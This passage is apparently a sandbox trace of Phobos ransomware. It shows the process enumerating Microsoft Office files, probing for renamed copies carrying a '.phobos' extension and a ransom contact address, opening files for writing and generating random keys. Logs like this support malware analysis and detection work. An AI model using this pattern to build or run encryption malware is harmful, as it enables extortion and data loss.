Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.493] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6564) returned 1 [0151.493] CloseHandle (hObject=0x564) returned 1 [0151.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0151.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.494] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.512] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=7347) returned 1 [0151.512] CloseHandle (hObject=0x564) returned 1 [0151.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0151.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.512] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.516] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5393) returned 1 [0151.516] CloseHandle (hObject=0x564) returned 1 [0151.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0151.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.519] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.527] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10122) returned 1 [0151.527] CloseHandle (hObject=0x564) returned 1 [0151.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0151.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.527] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.538] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6392) returned 1 [0151.538] CloseHandle (hObject=0x564) returned 1 [0151.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0151.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.543] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.546] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6700) returned 1 [0151.546] CloseHandle (hObject=0x564) returned 1 [0151.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0151.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.546] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.549] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=14044) returned 1 [0151.549] CloseHandle (hObject=0x564) returned 1 [0151.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0151.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.551] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.557] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=13358) returned 1 [0151.557] CloseHandle (hObject=0x564) returned 1 [0151.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0151.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.558] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.560] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6915) returned 1 [0151.560] CloseHandle (hObject=0x564) returned 1 [0151.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0151.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.563] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=47851) returned 1 [0151.563] CloseHandle (hObject=0x564) returned 1 [0151.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0151.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.579] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=340217) returned 1 [0151.579] CloseHandle (hObject=0x564) returned 1 [0151.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0151.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.597] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.621] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=352776) returned 1 [0151.621] CloseHandle (hObject=0x564) returned 1 [0151.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0151.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.621] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.624] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=46403) returned 1 [0151.625] CloseHandle (hObject=0x564) returned 1 [0151.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0151.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.625] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.627] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45229) returned 1 [0151.627] CloseHandle (hObject=0x564) returned 1 [0151.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0151.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.627] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.629] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=295074) returned 1 [0151.629] CloseHandle (hObject=0x564) returned 1 [0151.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0151.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.635] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=56944) returned 1 [0151.636] CloseHandle (hObject=0x564) returned 1 [0151.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0151.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.640] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: 